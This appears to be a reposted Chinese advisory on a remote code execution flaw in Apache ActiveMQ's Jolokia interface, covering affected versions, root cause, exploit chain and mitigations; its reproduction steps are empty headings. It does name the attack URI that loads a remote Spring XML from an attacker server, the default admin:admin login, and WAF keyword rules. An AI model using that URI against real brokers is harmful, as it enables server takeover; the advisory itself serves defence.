ApacheActiveMQJolokia远程代码执行漏洞(CVE-2026-42588)"

admin 2026-10-21 15:44:04 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

Apache ActiveMQ Jolokia 远程代码执行漏洞(CVE-2026-42588)

原创

CatalyzeSec
CatalyzeSec

CatalyzeSec

2026年6月6日 11:11
湖北

在小说阅读器读本章

去阅读

免责申明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。

漏洞描述

Apache ActiveMQ 是 Apache 软件基金会研发的开源消息中间件,完整遵循 JMS 规范,支持 OpenWire、STOMP、AMQP、MQTT 等多种协议,广泛应用于金融、电商、政务等领域的异步通信与消息队列场景。

CVE-2026-42588 是 ActiveMQ Web 控制台中 Jolokia JMX-HTTP 桥接接口的高危远程代码执行漏洞。攻击者通过认证后可构造恶意请求,利用 addNetworkConnector 方法加载远程 Spring XML 配置,最终在目标服务器执行任意系统命令。

漏洞评级

产品 受影响范围 安全版本
ActiveMQ Broker < 5.19.7 ≥ 5.19.7
ActiveMQ Broker 6.0.0 ~ 6.2.5 ≥ 6.2.6
ActiveMQ All < 5.19.7 ≥ 5.19.7
ActiveMQ All 6.0.0 ~ 6.2.5 ≥ 6.2.6
ActiveMQ < 5.19.7 ≥ 5.19.7
ActiveMQ 6.0.0 ~ 6.2.5 ≥ 6.2.6

漏洞原理

核心问题:Jolokia 接口权限失控 + 配置注入

ActiveMQ 的 Web 控制台(端口 8161)内置了 Jolokia 组件,它能把 Java 内部的 JMX 管理操作变成 HTTP API,方便运维人员远程管理消息队列。

问题出在两处安全疏漏:

  1. 接口权限过于宽松
  • Jolokia 默认策略允许对 org.apache.activemq:\* 下所有 MBean 执行操作
  • 包括危险的 BrokerService.addNetworkConnector(String) 方法
  • 未对该高危接口做单独访问限制与入参过滤
  1. 参数未做安全校验
  • addNetworkConnector 接收一个 URI 参数用于配置网络连接器
  • ActiveMQ 支持 masterslave://、vm:// 等特殊协议头
  • URI 中可嵌入 brokerConfig=xbean:http://攻击者服务器/evil.xml

漏洞触发链路

1. 认证登录 → 获取 Session↓2. POST /api/jolokia/ → 调用 addNetworkConnector↓3. 传入恶意 URI → masterslave://?brokerConfig=xbean:http://...↓4. ActiveMQ 解析 → 向攻击者服务器发起 HTTP 请求下载 XML↓5. Spring 加载 XML → ResourceXmlApplicationContext 实例化 Bean↓6. ProcessBuilder Bean → init-method=\"start\" → 执行系统命令↓7. RCE 完成 → 以 ActiveMQ 进程权限控制服务器

关键点:

Spring 在 BrokerService 验证配置之前就完成了 Bean 实例化,因此恶意 XML 中的命令会在配置校验前执行。

利用条件

  • ActiveMQ 6.0.0 ~ 6.1.1:配合 CVE-2024-32114(未认证 Jolokia)可实现无认证 RCE
  • 其他版本:需要默认账号密码 admin:admin 登录后利用

漏洞复现

启动 HTTP 服务

发送恶意请求

验证

修复建议

  1. 版本升级(首选方案)
  • 5.x 升级至 ≥ 5.19.7
  • 6.x 升级至 ≥ 6.2.6
  1. 临时缓解措施
措施 操作
禁用 Jolokia exec 修改 Jolokia 访问策略,禁止 exec 操作或设为 read-only
端口访问管控 防火墙限制 8161 仅内网运维 IP 访问
强化认证 修改 jetty-realm.properties,替换默认密码 admin:admin
出站限制 安全组禁止 ActiveMQ 进程对外 HTTP 请求,阻断 XML 拉取
  1. WAF 防护规则

拦截包含以下特征的请求:

addNetworkConnectorxbean:http://masterslave://vm://?brokerConfig

Windows任务计划程序,10个让你省下一半重复操作的用法" 网络安全文章

Windows任务计划程序,10个让你省下一半重复操作的用法"

本文介绍了Windows任务计划程序的10个实用用法,包括定时清理临时文件、自动启动软件、网络断线重连、定时备份文件、条件触发备份、定期重启、定时截图、发送状态报告、监控进程崩溃自动重启以及自动锁屏。这些方法无需第三方工具,利用系统内置功能即可自动化重复操作,提升效率。文章强调系统级自动化的可靠性和时间节省效果,建议用户落地3-4条即可显著减少重复劳动。
深信服入选Gartner®《私有云市场指南》代表厂商" 网络安全文章

深信服入选Gartner®《私有云市场指南》代表厂商"

深信服凭借云平台与托管私有云能力入选Gartner私有云市场指南代表厂商。报告指出VMware替代、AI落地等驱动市场增长,建议企业以业务需求驱动选型并避免厂商锁定。深信服提供VMware无感替换方案,已累计完成30万+虚拟机替换,并推出真信创零负担可生长的私有云方案,助力企业数智化转型。
工具推荐|国产数据库也能扫!database_scan:敏感信息检索,终端表格输出,一行命令搞定" 网络安全文章

工具推荐|国产数据库也能扫!database_scan:敏感信息检索,终端表格输出,一行命令搞定"

本文推荐了一款名为database\\_scan的Go语言编写的数据库敏感信息检索工具,支持MySQL、MSSQL、PostgreSQL、Oracle及多种国产数据库。该工具可通过命令行或GUI运行,提供多种检索模式和敏感级别,用于发现手机号、身份证等敏感数据。文章还推广了作者的付费知识星球,内含免杀、内网渗透等安全技术资源。
评论:0   参与:  0